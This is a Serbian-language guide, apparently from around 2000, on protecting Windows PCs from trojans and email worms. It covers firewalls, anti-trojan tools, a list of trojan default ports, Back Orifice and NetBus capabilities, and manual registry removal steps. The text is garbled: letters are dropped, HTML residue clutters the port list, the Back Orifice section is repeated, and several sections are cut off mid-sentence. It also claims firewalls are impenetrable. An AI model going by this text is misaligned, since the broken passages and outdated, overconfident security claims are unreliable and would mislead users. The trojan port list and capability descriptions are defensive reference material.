zatim uporedite StartUp pre i posle startovanja sumnjivog programa. Ako se pojavi neko novo ime u StartUpu znai da
je u pitanju trojanac, pa ga zato iskljucite, time reavate sve.
----------Druga zatita je program ProcessMate.
Program ProcessMate vam omoguava da vidite listu svih aktivnih procesa, da izaete iz odreenih procesa ili ih
momentalno iskljuite. Ovaj program e vam omoguiti da vidite da li je aktivan neki sumnjivi program (trojanac ili
virus) i omoguie vam da vidite adresu tog programa u memoriji i adresu na disku.
ProcessMate je besplatan, optimizovan (brz i mali - svega 5kB) a mozete ga skinuti sa adrese
http://www.mycity.co.yu/fajlovi/pm.zip. Autor ovog programa je Weird - uveni YU programer
---------Trea zatita od trojanaca je Firewall. Ako elite da imate bezbedan raunar koji ima pristup Internetu i koji e posedovati program koji e beleiti sve to je prolo kroz va modem ili link i program koji nadgleda sve portove i koji nee
dozvoliti sumnjivim programima ili hakerima da uspostave konekciju, Firewall je prava stvar za vas.
Firewall je najbolja zatita od lamera koji pokusavaju da vam srue sistem i najbolja zatita od BackDoor trojanaca.
Program koji poseduje Firewall za Windows95,98,NT,2000 je AtGuard!
Posle instalacije, ukljuite opciju Firewall tako da e vas AtGuard za svaki program pitati da li mu dozvoljavate pristup
DRAGAN MARKOVIC
Internetu. Ako se radi o vaem programu (IE ili ICQ) recite mu da mu je pristup Internetu uvek dozvoljen da vas ne bi
pitao svaki put. Na taj nain e AtGuard znati koji su vai programi a koji su uljezi jer vi sigurno neete dozvoliti
programu koji nema ime da pristupi Internetu.
Ako neko pokua da pristupi vaem racunaru (u cilju ruenja vaeg sistema) ili neki program kome niste dali pravo da
pristupi Internetu pokua da uspostavi konekciju na nekom portu, Firewall e tog istog momenta blokirati sumnjivi port
i pitati vas da li dozvoljavate konekciju, to znai da nita ne moe ui ili izai bez vaeg znanja.
Pored Firewalla, AtGuard vam omoguava da vidite listu otvorenih portova sa imenima programa koji ih koriste,
moete videti kompletnu istoriju konekcija i jos mnogo toga. AtGuard ignorise dosadne web reklame i daje vam
potpunu statistiku svega sto je ulo i izalo iz vaseg racunara.
Za sada je veoma teko zaobii Firewall tako da ne postoji program koji e uspeti da pristupi Internetu bez znanja Firewalla. On je neprobojan ak i za velike hakere pa se zbog toga Firewall koristi na svim sistemima kojima je potrebna
bezbednost!
----Na kraju treba rei da lamer moe poslati trojanca sa bilo kog emaila i da moe upakovati trojanca u bilo koji program.
On moe da vam poalje trojanca sa emaila vaeg najboljeg prijatelja. Na taj nain dobijate original poruku od vaeg
prijatelja sa tekstom u kojem vas neprimetno moli da startujete program koji vam je poslao. Naravno, lako moete
proveriti da li se radi o lameru ili vaem prijatelju tako to ete jednostavno pozvati telefonom vaeg prijatelja i pitati
ga da li je on poslao.
Kad se situacija sagleda sa svih uglova dolazimo do zakljuka da :
1) Ne treba startovati sumnjive programe od sumnjivih i nepoznatih tipova,
2) Treba uvek imati noviji Antivirus (a najbolji Antivirus je AVP i moete ga skinuti sa adrese
http://www.kaspersky.com),
3) Treba redovno updatovati va Antivirus kako bi ga snabdeli informacijama o novim virusima i trojancima,
4) Treba skenirati svaki sumnjivi program pre nego to ga startujete i koristiti Firewall, Directory Catalog i ProcessMate,
5) Treba redovno poseivati sajt www.zastita.co.yu - jedini sajt na srpskom jeziku koji se bavi problematikom virusa,
trojanaca i lamera.
Cleaner 3.1 & PC Security 4.0
Virusi, polako ali sigurno izlaze iz mode. Primat preuzimaju trojanci koji su sve tei za detekciju jer je alat koji je potreban za njihovo pronalaenje i uklanjanje jo uvek u fazi razvoja. Mi vam preporuujemo kombinaciju programa
Cleaner i PC Security, kao efikasnu zatitu od nepoeljnih upada.
Uz instaliran neki od firewalla, ova dva programa predstavljaju nesalomivu barijeru za sve postojee trojance i alatke
zasnovane na istoj logici rada. Program Cleaner (trenutno aktuelne verzije 3.1)delo je programera po imenu Daniel
Otis-Vigil i predstavlja verziju Virus Killera ali za trojance - Trojan Killer, dok program PC Security (poslednje verzije
4.0) firme Tropical Software predstavlja potpuno drugaiji pristup zatiti. Naime, on je toliko moan da moete bez
problema imati pun raunar raznih trojanaca a da oni ne mogu da vide ili pristupe bilo emu u sistemu ako vi to ne
elite.
Cleaner
ista dolazi u pakovanju od tek neto malo vie od jednog megabajta, ali zato predstavlja ?teku artiljeriju? u borbi
protiv trojanaca. Autor programa je pribegao istoj postavci kao i Virus Killeri, tako da program ima bazu koja trenutno
prepoznaje preko 1200 (!) raznih trojanaca, a dodavanje definicije novih moe se izvriti jednostavnim konektovanjem
na matini sajt firme. Uz paket se dobija i program TCActive! koji stalno nadgleda sistem ne bi li nekog trojanca uhvatio ?na delu? kako pokuava da se instalira u sistem.
Rad sa programom veoma je jednostavan. Potrebno je izabrati koje particije e se skenirati i pokrenuti traenje
(mogue je i skeniranje network diskova). Cleaner je veoma inteligentan pa mu nee promai ni programi koji su arhivirani, a prepoznae i EXE fajlove koji se kriju pod drugim ekstenzijama. Mogue je brisati trojance odmah, prilikom
DRAGAN MARKOVIC
traenja (uz eventualni backup), kao i snimiti sva deavanja u LOG fajl. Baza sadri i opise sa principima rada veine
trojanaca.
Cleaner moete pronai na www.moosoft.com/ i skinuti Trial verziju koja je vremenski ograniena.
PC Security
To je program mnogo ire namene nego to je zatita od trojanaca. Glavna stvar koju PCS nudi je kompletna kontrola
nad sistemom i svim fajlovima na disku. Mogue je iskljuiti odreene sistemske opcije, sakrivati delove sistema,
zakljuavati i sakrivati fajlove, foldere, pa ak i shortcute, uz kompletno uvoenje ifara za svaku akciju i ugraenim
alarmom u sluaju pokuaja pristupa zatienim delovima sistema. Dakle, program kao stvoren za zatitu raunara u
viekorisnikom (mrenom) okruenju, u kakve spada i Internet. PC Security je do te mere jak da nikome, pa ni trojancima, ne dozvoljava pristup zatienim delovima.
Podeavanje je veoma jednostavno. Sve se moe uraditi iz Explorera klikom na eljeni shortcut/fajl/folder/disk i
izabrati opciju Lock, ili sva podeavanja uraditi iz samog programa. Otkljuavanje se vri obrnutim postupkom uz
unoenje ifre. Svaki pokuaj otkljuavanja se belei u LOG fajl, koji pravi vlasnik moe kasnije pregledati. Uz ovo,
program poseduje i zakljuavanje odreenih prozora i programa, a mogue je zakljuati i taskbar, desktop, pa ak i
sakriti sve ikone iz traybara. Ograniavanje sistema je takoe veoma dobro reeno. Mogue je ograniiti pristup
odreenim fajlovima/folderima/diskovima i to selektivno, po programima.
Alarm je odlino izveden i ima kompletnu evidenciju da li je neko pokuavao da "provali" ifru prilikom zakljuavanja
sistema usled otkrivanja uljeza. Ako imate instaliran Stealth 3.3 od iste firme, bie vam omoguena opcija da
automatski obriete ili kriptujete selektovane fajlove/foldere u trenutku otkrivanja uljeza.
Explorer Control Centar je moemo rei, program za sebe. Krcat je opcijama za podeavanje sistema koje smo viali
do sada u programima pisanim samo za tu svrhu, na primer WinBoost ili iTweak ali poseduje i novitete koji su tek sad
prvi put vieni. Spisak opcija je impozantan - preko 80. Help mehanizam je odraen fenomenalno i deava se realnom
vremenu te je dovoljno samo prevui miem preko opcije koja vam nije jasna i pri dnu prozora ete dobiti kompletan
opis i karakteristike iste. U Explorer Tab-u mogue je menjati strukturu i izgled opcija u Start meniju, zatim
poiskljuivati sve sistemske prozore (tipa Properties od Desktopa i slino) kao i zabraniti snimanje promenjenog desktopa. Kao to vidimo, vie nije mogue ni rezoluciju promeniti bez odobrenja. Kod System Tab-a mogue je eliminisati izlazak u DOS, sakriti veinu opcija Control Panel-a, zabraniti akanje oko instaliranog Printera, zakljuati COM
portove, zabraniti diranje Registry-ja i kao poslastica iskljuiti akcije prilikom pritiskanja kombinacija tastera: CtrlAlt-Delete, zatim Ctrl-Esc, Alt-Tab i uveni Windows taster. U Network delu mogue je zakljuati ili sakriti sve to se
tie mree ukljuujui i Dial-Up te onemoguiti shared (deljeni mreni) pristup diskovima i printerima. Internet deo
ima brojne opcije za onemoguavanje promena u postavci Internet Explorera i Active Desktopa.
Ovaj fenomenalan program zauzima oko pola megabajta a ako se ipak odluite da ga uklonite iz sistema, poseduje
izvrstan Uninstaler koji bukvalno poisti sve za sobom bez bojazni da je ostalo fajlova po Windows sistemskim direktorijumima ili u Registry-ju. Lokacija je www.tropsoft.com/.
Gde se upisuju trojanci?
Ispitao sam gde se sve upisuje server za Sub7 trojanca v.2.1
i evo rezultata. Postoje nekoliko "stelovanja" gde se on upisuje:
- registry-Run
Kopira se fajl "MSREXE.EXE" u C:Windows i upisuje se u registry
bazu pod imenom "WinLoader" (ne mora da znaci zato sto se ime moze
promeniti), i pokrece fajl MSREXE.EXE. Moze se ukloniti ako se
pokrene program Msconfig i ukloni se odatle, ili se u Regedit-u
izbrise kljuc:
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
WinLoader (vrednost mu je "MSREXE.EXE".
- registry-RunServices
Takodje se kopira u Windows direktorijum pod imenom "MSREXE.EXE" i
DRAGAN MARKOVIC
DRAGAN MARKOVIC
DRAGAN MARKOVIC
Silencer 1001 color="#FFFFFF" size="2" Millenium 20000 color="#FFFFFF" size="2" Devil 1.03 65000
color="#FFFFFF" size="2" NetMonitor 7306 color="#FFFFFF" size="2" Streaming Audio Trojan 1170
color="#FFFFFF" size="2" Socket23 30303 color="#FFFFFF" size="2" Gatecrasher 6969 color="#FFFFFF" size="2"
Telecommando 61466 color="#FFFFFF" size="2" Gjamer 12076 color="#FFFFFF" size="2" IcqTrojen 4950
color="#FFFFFF" size="2" Priotrity 16969 color="#FFFFFF" size="2" Vodoo 1245 color="#FFFFFF" size="2" Wincrash 5742 color="#FFFFFF" size="2" Wincrash2 2583 color="#FFFFFF" size="2" Netspy 1033 color="#FFFFFF"
size="2" ShockRave 1981 color="#FFFFFF" size="2" Stealth Spy 555 color="#FFFFFF" size="2" Pass Ripper 2023
color="#FFFFFF" size="2" Attack FTP 666 color="#FFFFFF" size="2" GirlFriend 21554 color="#FFFFFF" size="2"
Fore, Schwindler 50766 color="#FFFFFF" size="2" Tiny Telnet Server (added 05/10/99) 34324 color="#FFFFFF"
size="2" Kuang (added 05/10/99) 30999 color="#FFFFFF" size="2" Senna Spy Trojans (added 05/10/99) 11000
color="#FFFFFF" size="2" WhackJob (added 05/10/99) 23456 color="#FFFFFF" size="2" Phase0 (added 05/10/99)
555 color="#FFFFFF" size="2" BladeRunner (added 05/11/99) 5400 color="#FFFFFF" size="2" IcqTrojan (added
05/11/99) 4950 InIkiller (added 05/11/99) 9989 color="#FFFFFF" size="2" PortalOfDoom (added 05/11/99) 9872
color="#FFFFFF" size="2" ProgenicTrojan (added 05/11/99) 11223 color="#FFFFFF" size="2" Prosiak 0.47 (added
05/11/99) 22222 color="#FFFFFF" size="2" RemoteWindowsShutdown (added 05/11/99) 53001 color="#FFFFFF"
size="2" RoboHack (added 05/11/99) 5569 color="#FFFFFF" size="2" Silencer (added 05/11/99) 1001
color="#FFFFFF" size="2" Striker (added 05/11/99) 2565 color="#FFFFFF" size="2" TheSpy (added 05/11/99)
40412 color="#FFFFFF" size="2" TrojanCow (added 05/11/99) 2001 color="#FFFFFF" size="2" UglyFtp (added
05/11/99) 23456 color="#FFFFFF" size="2" WebEx (added 05/11/99) 1001 color="#FFFFFF" size="2" Backdoor
(added 05/11/99) 1999 color="#FFFFFF" size="2" Phineas ( Submitted by Nikhil Gupta come.to/pune ) 2801
color="#FFFFFF" size="2" Psyber Streaming Server ( Submitted by Nikhil Gupta come.to/pune ) 1509
color="#FFFFFF" size="2" Indoctrination (added 05/12/99) 6939 color="#FFFFFF" size="2" Hackers Paradise (added
05/17/99) 456 color="#FFFFFF" size="2" Doly Trojan (added 05/17/99) 1011 color="#FFFFFF" size="2" FTP99CMP
(added 05/17/99) 1492 color="#FFFFFF" size="2" Shiva Burka NOT in our archive (added 05/17/99) 1600
color="#FFFFFF" size="2" Remote Windows Shutdown (added 05/17/99) 53001 color="#FFFFFF" size="2"
BigGluck, aka TN in our archive (added 05/17/99) 34324 color="#FFFFFF" size="2" NetSpy DK NOT in our archive
(added 05/17/99) 31339 color="#FFFFFF" size="2" Hack99 KeyLogger (added 05/17/99) 12223 color="#FFFFFF"
size="2" iNi-Killer (added 05/17/99) 9989 color="#FFFFFF" size="2" ICQKiller (added 05/17/99) 7789
color="#FFFFFF" size="2" Portal of Doom (added 05/17/99) 9875 color="#FFFFFF" size="2" Firehotcker NOT in
our archive (added 05/17/99) 5321 color="#FFFFFF" size="2" Master Paradise 40423 color="#FFFFFF" size="2" BO
jammerkillahV (added 05/19/99) 121 color="#FFFFFF" size="2" AOLTrojan1.1 (added 05/19/99) 30029 Hack*a*tack
(added 05/21/99) 31787 color="#FFFFFF" size="2" The Invasor (added 05/21/99)( Submitted by Nikhil Gupta
come.to/pune ) 2140 color="#FFFFFF" size="2" SpySender (added 05/21/99)( Submitted by Nikhil Gupta
come.to/pune ) 1807 color="#FFFFFF" size="2" The Unexplained (added 05/23/99) 29891 color="#FFFFFF"
size="2" Bla color="#FFFFFF" size="1" (added 05/28/99) 20331 color="#FFFFFF" size="2" FileNail (added
05/28/99) ( Submitted by Danny ) 4567 color="#FFFFFF" size="2" ShitHeep (added 05/28/99) ( Submitted by Danny
) 69123 color="#FFFFFF" size="2" Coma color="#FFFFFF" size="1" (added 05/28/99) ( Submitted by Danny ) 10607
color="#FFFFFF" size="2" Bla1.1 (added 06/08/99) 1042 color="#FFFFFF" size="2" HVL Rat5 (added 06/08/99)
2283 color="#FFFFFF" size="2" BackConstruction1.2 (added 06/08/99) 5400 color="#FFFFFF" size="2" Kuang2
theVirus (added 06/12/99) 17300 color="#FFFFFF" size="2" Xtcp color="#FFFFFF" size="1" 2.00 + 2.01 (added
06/17/99) (added 24/10/99) 5550 color="#FFFFFF" size="2" Schwindler 1.82 (added 06/22/99) 21554
color="#FFFFFF" size="2" Doly trojan v1.35 (added 07/21/99) ( Submitted by Cronco ) 1010 color="#FFFFFF"
size="2" Doly trojan v1.5 (added 07/21/99) ( Submitted by Cronco ) 1015 color="#FFFFFF" size="2" Wingate
(Socks-Proxy) (No this is NOT a trojan) 1080 color="#FFFFFF" size="2" Vampire (added 08/02/99) 6669
color="#FFFFFF" size="2" DeltaSource (Submitted by DarkStar) 6883 color="#FFFFFF" size="2" Trojan Spirit 2001
a (added 08/06/99) 33911 color="#FFFFFF" size="2" Maverick*s Matrix (added 08/08/99) 1269 Total Eclypse 1.0
(added 11/08/99) 3791 OOTLT + OOTLT Cart (added 08/09/99) 5011 color="#FFFFFF" size="2" Eclipse 2000 (added
12/09/99) 12701 color="#FFFFFF" size="2" NetMetro 1.0 (added 14/09/99) 5031 Illusion Mailer (added 16/09/99)
5521 InCommand 1.0 (added 19/09/99) 9400 NeTadmin (added 19/09/99) 555 Logged! (added 29/09/99) 20203 Shitheep (added 29/09/99) 6912 Schoolbus 1.6 (added 29/09/99) 54321 Schoolbus 2.0 (added 18/10/99) Chupacabra (added
DRAGAN MARKOVIC
18/10/99) 20203 TheThing 1.6 (added 23/10/99) 6000 AimSpy (added 24/10/99) 777 NetMetropolitan 1.04 (added
24/10/99) 5032
5031 Transcout 1.1 + 1.2 (added 30/10/99) 1999 SoftWar (added 30/10/99) 1207
Satanz Backdoor - 666
Silencer - 1001
WebEx - 1001
Doly Trojan - 1011
Psyber Stream Server - 1170
Ultors Trojan - 1234
FTP99CMP - 1492
Shivka-Burka - 1600
SpySender - 1807
Shockrave - 1981
BackDoor - 1999
Trojan Cow - 2001
Ripper - 2023
Bugs - 2115
Deep Throat - 2140
The Invasor - 2140
Back Orifice (Zadnji ulaz)/TROJANAC
Back Orifice (Zadnji ulaz) je trojanac koji se pojavio sredinom 1998. godine.Stvorila ga je hakerska grupa po imenu
"Kult mrtve krave" ("Cult of Dead Cow" - CdC), koja ga je i postavila na Internet (http://www.backorifice.com) treceg
avgusta 1998.Od tada preko 150000 ljudi je ovaj program preuzelo i koristilo.Back Orifice omogucava korisniku da
potpuno upravlja vasim racunarom (naravno samo ukoliko je on zarazen), bukvalno kao da sedi za njim!
Back Orifice-om (skraceno BO-om) se mozete zaraziti samo ako startujete aplikaciju za koju je zakacen instalacioni
fajl BO-a.Dok se aplikacija izvrsava BO se neprimetno instalira na vas kompjuter i, sledeci put kada se ukljucite na
Internet, BO pocne da prisluskuje ("listen") port 31337, cime u stvari daje znak da je vas racunar zarazen.Vecina lamera
u BO upisu neki IP I cekaju da vide sta ce da se desi, ali ima dosta i onih *opremljenijih*, koji koriste skener IP adresa
(IP pool) I tako pronalaze kompjutere na kojima je Back Orifice instaliran.Zlonamernici za sirenje BO-a koriste I
bezbednosne greske u Microsoft Outlook Express-u i Netscape Messenger-u, tzv. buffer overflow.Ta greska se javlja
kada vam neko uz e-mail posalje i datoteku koja je predugackog imena.Tada vam se kompjuter zaglavi, a datoteka se
sama izvrsi bez vaseg znanja, sto je posebno zgodno za neprimetnu instalaciju ovog trojanca.Netscape je po ovom
pitanju malo sigurniji od svog konkurenta iz Microsofta, a zakrpe potrazite na support.microsoft.com i
www.netscape.com .
Back Orifice za sada postoji samo u verziji za Windows 9x.On podrzava i koriscenje raznih dodataka, medju kojima
su najpopularniji Silk rope (kompletnu instalaciju BO-a zalepi za bilo koji Windows program), Butt Trumpet (IP adresu
hosta lameru salje preko elektronske poste), Speakeasy (tajno se prijavi na odredjeni IRC (Internet Relay Chat) server
i odatle korisniku BO-a salje IP hosta) itd.
BO Windows klijent veoma je lepo uradjen (za razliku od UNIX klijenta).I klijent i server za komunikaciju koriste port
31337 (po defaultu), ali lamer taj port moze lako da promeni.Ono sto je takodje interesantno je da lamer moze da postavi i password (lozinku) na odredjeni zarazeni kompjuter koji kontrolise, tako da niko drugi tom kompjuteru ne moze
da pristupi pomocu BO-a. Bez ikakvih plug-inova, BO poseduje grabber slike sa ekrana, prisluskivac tastature, sniffer
Internet saobracaja itd.Manje destruktivnim korisnicima ovaj program sluzi uglavnom za prikupljanje Internet passworda ljudi sa zarazenih kompjutera (sve sifre se cuvaju u Windows direktorijumu i oblika su vas_username.pwl), dok
su destruktivniji obicno orijentisani na unistavanje svih podataka sa racunara.Inace velicina Back Orifice-a je (u default
DRAGAN MARKOVIC
18/10/99) 20203 TheThing 1.6 (added 23/10/99) 6000 AimSpy (added 24/10/99) 777 NetMetropolitan 1.04 (added
24/10/99) 5032
5031 Transcout 1.1 + 1.2 (added 30/10/99) 1999 SoftWar (added 30/10/99) 1207
Satanz Backdoor - 666
Silencer - 1001
WebEx - 1001
Doly Trojan - 1011
Psyber Stream Server - 1170
Ultors Trojan - 1234
FTP99CMP - 1492
Shivka-Burka - 1600
SpySender - 1807
Shockrave - 1981
BackDoor - 1999
Trojan Cow - 2001
Ripper - 2023
Bugs - 2115
Deep Throat - 2140
The Invasor - 2140
Back Orifice (Zadnji ulaz)/TROJANAC
Back Orifice (Zadnji ulaz) je trojanac koji se pojavio sredinom 1998. godine.Stvorila ga je hakerska grupa po imenu
"Kult mrtve krave" ("Cult of Dead Cow" - CdC), koja ga je i postavila na Internet (http://www.backorifice.com) treceg
avgusta 1998.Od tada preko 150000 ljudi je ovaj program preuzelo i koristilo.Back Orifice omogucava korisniku da
potpuno upravlja vasim racunarom (naravno samo ukoliko je on zarazen), bukvalno kao da sedi za njim!
Back Orifice-om (skraceno BO-om) se mozete zaraziti samo ako startujete aplikaciju za koju je zakacen instalacioni
fajl BO-a.Dok se aplikacija izvrsava BO se neprimetno instalira na vas kompjuter i, sledeci put kada se ukljucite na
Internet, BO pocne da prisluskuje ("listen") port 31337, cime u stvari daje znak da je vas racunar zarazen.Vecina lamera
u BO upisu neki IP I cekaju da vide sta ce da se desi, ali ima dosta i onih *opremljenijih*, koji koriste skener IP adresa
(IP pool) I tako pronalaze kompjutere na kojima je Back Orifice instaliran.Zlonamernici za sirenje BO-a koriste I
bezbednosne greske u Microsoft Outlook Express-u i Netscape Messenger-u, tzv. buffer overflow.Ta greska se javlja
kada vam neko uz e-mail posalje i datoteku koja je predugackog imena.Tada vam se kompjuter zaglavi, a datoteka se
sama izvrsi bez vaseg znanja, sto je posebno zgodno za neprimetnu instalaciju ovog trojanca.Netscape je po ovom
pitanju malo sigurniji od svog konkurenta iz Microsofta, a zakrpe potrazite na support.microsoft.com i
www.netscape.com .
Back Orifice za sada postoji samo u verziji za Windows 9x.On podrzava i koriscenje raznih dodataka, medju kojima
su najpopularniji Silk rope (kompletnu instalaciju BO-a zalepi za bilo koji Windows program), Butt Trumpet (IP adresu
hosta lameru salje preko elektronske poste), Speakeasy (tajno se prijavi na odredjeni IRC (Internet Relay Chat) server
i odatle korisniku BO-a salje IP hosta) itd.
BO Windows klijent veoma je lepo uradjen (za razliku od UNIX klijenta).I klijent i server za komunikaciju koriste port
31337 (po defaultu), ali lamer taj port moze lako da promeni.Ono sto je takodje interesantno je da lamer moze da postavi i password (lozinku) na odredjeni zarazeni kompjuter koji kontrolise, tako da niko drugi tom kompjuteru ne moze
da pristupi pomocu BO-a. Bez ikakvih plug-inova, BO poseduje grabber slike sa ekrana, prisluskivac tastature, sniffer
Internet saobracaja itd.Manje destruktivnim korisnicima ovaj program sluzi uglavnom za prikupljanje Internet passworda ljudi sa zarazenih kompjutera (sve sifre se cuvaju u Windows direktorijumu i oblika su vas_username.pwl), dok
su destruktivniji obicno orijentisani na unistavanje svih podataka sa racunara.Inace velicina Back Orifice-a je (u default
DRAGAN MARKOVIC
konfiguraciji) 124928 bajtova.Ona moze biti I veca (ukoliko ima neke dodatke), ali nikako manja.
Postoji vise nacina za otkrivanje i uklanjanje BO-a.Najbolje bi bilo da u DOS prozoru, dok niste ukljuceni na Internet,
otkucate komandu *netstat -an* koja ce vam izlistati sve trenutne TCP/UDP konekcija.Ako se medju njima nalazi i
jedna UDP veza sa lokalnom adresom (*local adress) 0.0.0.0.:31337 i *foreign* adresom *.* znajte da ste najverovatnije zarazeni.PAZNJA:ukoliko vam je aktiviran program NOBO (o kome ce kasnije biti vise reci) prvo izadjite iz njega
(u sys tray-u desnim dugmetom misa kliknite na NOBO ikonicu, izaberite EXIT, a zatim to potvrdite), pa tek onda ovo
probajte.
Sada kada znate da ste (ili niste) zarazeni "zadnjim ulazom", trebate da ga uklonite.Posto se BO startuje svaki put kada
vi upalite kompjuter, postoji vise mesta na kojima bi mogla da se nalazi naredba za njegovo startovanje.Prvo proverite
autoexec.bat i win.ini fajlove (u win.ini potrazite liniju run=imeprograma.exe), kao i Start Up direktorijum
(Start/Programs/Startup).Pozeljno bi bilo da pretrazite i Windowsovu registry bazu, jer se BO mozda i tu sakrio, pa ako
je stvarno u registry-ju iskoristite program regedit.exe da ga izbrisete (budite pazljivi jer kopanje i editovanje registryja moze da bude opasno).Ako ga pronadjete znajte da necete moci da ga izbrisete dok kompjuter radi (sistem vam to
nece dozvoliti jer ga on koristi) pa zato predjite u Safe mod (restartujte kompjuter, na pocetku ucitavanja pritisnite F8
i izaberite Safe Mode) pa ga zatim uklonite.Ukoliko ne volite da eksperimentisete sa kompjuterom i na Internetu se
moze naci veliki broj programa za detektovanje i uklanjanje BO-a.PAZITE, veliki broj njih se samo izdaje za anti-BO
program, ali u stvari u sebi sadrzi neki trojanac, pa i sam Back Orifice.Ako vec morate da preuzimate ovakve fajlove
cinite to sa nekih vecih download sajtova koji proveravaju sve sto nude (npr. http://www.download.com) ili koristite
novije verzije poznatih antivirus programa (NAV, Kaspersky Lab AVP, McAfee i dr.)
NOBO je verovatno najpopularniji program protiv BO-a.On niti pronalazi niti uklanja BO, ali zato predstavlja
svojevrstan firewall.NOBO *prisluskuje* port 31337 i, kada neko pokusa da vam posalje BO paket, on reaguje, sprecava posiljaoca u tome, a vama daje obavestenje o tome sta se desilo i trenutnu IP adresu posiljaoca (ona vam nece biti
od neke vece koristi posto se stalno menja).NOBO cak salje i lazne pingove kako bi korisnik BO-a pomislio da ste vi
zarazeni.Poruku koju ce program izbaciti zlonamerniku mozete definisati po sopstvenom nahodjenju.Glavna mana
programa je ta sto moze da prisluskuje samo jedan port (koji mu vi mozete odrediti).NOBO je veoma mali (oko 70
KB), a njegovu cistu verziju preuzmite sa oficijelnog sajta http://web.cip.com.br/nobo/.
Nakon pojave BO-a, izbacen je i veliki broj manje ili vise uspesnih kopija od strane raznih hakerskih grupa.Medju
njima najpoznatiji je program *NetBus*, koji ima iste mogucnosti kao i program "Kulta mrtve krave" plus i funkcije
otvaranja i zatvaranja CD ROM-a, prisluskivanje zvuka sa mikrofona i skidanje slike sa kamerice itd. (da biste proverili da li ste zarazeni NetBus-om, startujte "telnet" program i povezite se na localhost, port 12345 (NetBus uvek koristi
ili port 12345 ili 12346); ako je virus instaliran pojavice se natpis "Netbus" i broj verzije).Za vise informacija o uklanjanju NetBus-a posetite adresu surf.to/netbuster .Takodje, izbacen je i veliki broj slicnih virusa koji sluze samo da bi
od vas saznali vas Internet username i password, koje odmah salju lameru na njegovu e-mail adresu (npr. Satanz Backdoor).
Posle svega ovoga ostaje savet da redovno azurirate svoje antivirus programe, budete veoma oprezni sa preuzimanjem
fajlova sa Interneta i aktiviranju datoteka koje su vam poslate elektronskom postom (posebno ako ne znate posiljaoca),
kao i da ne skidate popularne "crack" fajlove, jer vecina njih uz sebe sadrzi i instalaciju nekog od mnogobojnih
trojanaca.
CRVI
Poslednjih dana se jako mnogo Internet crva pojavilo. Gotovo da ne proe dan a da u mom email sanduetu ne zateknem barem jedan email koji sa sobom nosi crva. Situacija je toliko postala kritina da je i naa redakcija zaradila
DRAGAN MARKOVIC
DRAGAN MARKOVIC
NewApt/CRV
NewApt je e mail crv slican crvu Happy99.On skenira vase e mail poruke
u potrazi za e mail adresama i salje sam sebe na te adrese.
KAKO DOLAZI DO INFEKCIJE?
NewAPt dolazi kao e mail atacment.Dvoklikom na jedan od sledecih programa
zarazice te vas racunar:
g-zilla.exe, cooler3.exe, cooler1.exe, copier.exe, video.exe, pirate.exe, goal1.exe, hog.exe, party.exe, saddam.exe,
monica.exe, boss.exe, farter.exe, cheeseburst.exe, panther.exe, theobbq.exe, goal.exe, baby.exe, bboy.exe, cupid2.exe,
fborfw.exe, casper.exe, irnglant.exe, or gadget.exe
i tada dobijate sledecu sledecu eror poruku:
U e mail klijentu dobijate jednu od ovih poruka:
http://stuart.messagemates.com/index.html
Hypercool Happy New Year 2000 funny programs and animations...
We attached our recent animation from this site in our mail ! Check it out !
ili:
he, your lame client cant read HTML, haha.
click attachment to see some stunningly HOT stuff
STA VIRUS STVARNO RADI NA VASEM RACUNARU?
kad startujete fajl,on se prvo iskopira u widows direktorijum,zatim se napravi ulaz u vasoj registry
bazi koja koji govori windowsu da startuje crva svaki put kad se startuje windows.Kljucna vrednost je nazvana
"tpawen" i dodala se u sledecem kljucu:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
Onda virus skenira vas sistem da pronadje lokaciju netscapovih ili outlukovih e mail poruka
Ta lokacija se snima u fajl mmail u windows direktorijumu.Poruke u toj lokaciji se skeniraju za e mail adresama
koje se dodaju u fajl mma u istom direktorijumu.To su adrese koje ce crv koristiti kada sam sebe bude slao.
MANUELNO OTKLANJANJE
1) Click the Start Menu - Run
2) Type regedit and click OK
3) Locate the following key:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
4) RIGHT click on "tpawen" and choose DELETE
5) Restart the computer
6) Click the Start Menu - Run and type %WinDir%
7) Delete any of the following files that appear:
g-zilla.exe, cooler3.exe, cooler1.exe, copier.exe, video.exe, pirate.exe, goal1.exe, hog.exe,
party.exe, saddam.exe, monica.exe, boss.exe, farter.exe, cheeseburst.exe, panther.exe,
theobbq.exe, goal.exe, baby.exe, bboy.exe, cupid2.exe, fborfw.exe, casper.exe, irnglant.exe,
or gadget.exe
AUTOMATSKO:
NewApt Cleaner 1.0 - Uklanja NewApt crva sa vaseg racunara (700 KB, postavljeno na serveru www.zr.co.yu)
STA JE W32.PRETTYPARK?/CRV
Pretty Park je worm(crv).Svakih 30 sekundi pokusava da sam sebe posalje na sve adrese iz adres buka u outluk
ekpresu.Takodje je podesen da se poveze na odredjeni IRC kanal i da posalje lozinke sa vaseg sistema.
KAKO DOLAZI DO INFEKCIJE?
Ovaj crv dolazi kao e mail atacment.Dvoklikom na PrettyPark.exe ili>
Files32.exe program zarazava racunar.Moguce je da se usled toga pojavi Microsoft Pipes skren sejver.Nemoj te startovati ova program i necete biti zarazeni!
KO JE IZLOZEN RISIKU?
Ljudi koji koriste windows 95,98 ili NT suu opsanosti.MAC OS i WEBTV sistemi su imuni na ovaj virus.
DRAGAN MARKOVIC
DRAGAN MARKOVIC
Procedura kojom ete utvrditi da li je va raunar zaraen zavisi od operativnog sistema koji koristite. Saznajte koji operativni sistem koristite.
Ako koristite Windows XP
Da biste saznali da li je va raunar zaraen uinite sledee:
Kliknite na Start, a zatim na Search.
U polju What do you want to search for?, odaberite All files and folders.
U polje All or part of the file name, unesite ctfmon.dll (vidi Sliku 1). Ako datoteka postoji va raunar
je zaraen crvom Mydoom.B i treba da preduzmete korake navedene u nastavku teksta. U
suprotnom, va raunar nije zaraen varijantom ovog virusa.
DRAGAN MARKOVIC
DRAGAN MARKOVIC
FIREWALL
Kada smo pisali o trojancima, upotrebili smo izraze port, IP, ping i Firewall. Sada emo se zadrati na Firewallu,
najboljem *sredstvu* za odbranu od hakera, i pokuaemo da vam razjasnimo pomenute izraze da bi ste shvatili na
kom principu funkcionie Firewall.
Onog trenutka kada se poruka "Veryfing User Name and Password" ukloni sa ekrana i pone da se odbrojava vae
vreme na Internetu, va provajder vam je dodelio jedinstvenu adresu koju u tom trenutku imate samo vi na Internetu i
niko drugi - to je tzv. IP adresa ili niz od 4 broja izmeu 0 i 255 razdvojenih takom (npr. 213.240.4.100). Postoji
